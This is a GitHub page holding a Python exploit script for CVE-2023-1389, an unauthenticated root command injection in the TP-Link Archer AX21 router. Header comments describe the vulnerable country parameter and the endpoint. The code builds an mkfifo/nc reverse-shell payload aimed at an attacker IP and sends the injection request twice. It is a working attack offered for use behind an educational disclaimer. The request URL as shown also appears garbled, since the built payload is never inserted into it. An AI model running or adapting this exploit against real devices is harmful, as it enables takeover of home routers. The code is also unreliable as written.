



Voyag3r-Security / CVE-2023-1389 Public

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CVE-2023-1389 / archer-rev-shell.py

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52 lines (44 loc) · 2.78 KB

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```
1  #!/usr/bin/python3
2  #
3  # Exploit Title: TP-Link Archer AX21 Unauthenticated Command Injection
4  # Date: 07/25/2023
5  # Exploit Author: Voyag3r (https://github.com/Voyag3r-Security)
6  # Vendor Homepage: https://www.tp-link.com/us/
7  # Version: TP-Link Archer AX21 (AX1800) firmware versions before 1.1.4 Build 20230219 (https://www.
8  # Tested On: Firmware Version 2.1.5 Build 20211231 rel.73898(5553); Hardware Version Archer AX21 v2
9  # CVE: CVE-2023-1389
10 #
11 # Disclaimer: This script is intended to be used for educational purposes only.
12 # Do not run this against any system that you do not have permission to test.
13 # The author will not be held responsible for any use or damage caused by this
14 # program.
15 #
16 # CVE-2023-1389 is an unauthenticated command injection vulnerability in the web
17 # management interface of the TP-Link Archer AX21 (AX1800), specifically, in the
18 # *country* parameter of the *write* callback for the *country* form at the
19 # "/cgi-bin/luci/;stok=/locale" endpoint. By modifying the country parameter it is
20 # possible to run commands as root. Execution requires sending the request twice;
21 # the first request sets the command in the *country* value, and the second request
22 # (which can be identical or not) executes it.
23 #
24 # This script is a short proof of concept to obtain a reverse shell. To read more
25 # about the development of this script, you can read the blog post here:
26 # https://medium.com/@voyag3r-security/exploring-cve-2023-1389-rce-in-tp-link-archer-ax21-d7a60f259
```

```
27     # Before running the script, start a nc listener on your preferred port -> run the script -> profit
28
29     import requests, urllib.parse, argparse
30     from requests.packages.urllib3.exceptions import InsecureRequestWarning
31
32     # Suppress warning for connecting to a router with a self-signed certificate
33     requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
34
35     # Take user input for the router IP, and attacker IP and port
36     parser = argparse.ArgumentParser()
37
38     parser.add_argument("-r", "--router", dest = "router", default = "192.168.0.1", help="Router name")
39     parser.add_argument("-a", "--attacker", dest = "attacker", default = "127.0.0.1", help="Attacker IP")
40     parser.add_argument("-p", "--port", dest = "port", default = "9999", help="Local port")
41
42     args = parser.parse_args()
43
44     # Generate the reverse shell command with the attacker IP and port
45     revshell = urllib.parse.quote("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + args.attacker + " " + args.port)
46
47     # URL to obtain the reverse shell
48     url_command = "https://" + args.router + "/cgi-bin/luci/;stok=/locale?form=country&operation=write8"
49
50     # Send the URL twice to run the command. Sending twice is necessary for the attack
51     r = requests.get(url_command, verify=False)
52     r = requests.get(url_command, verify=False)
```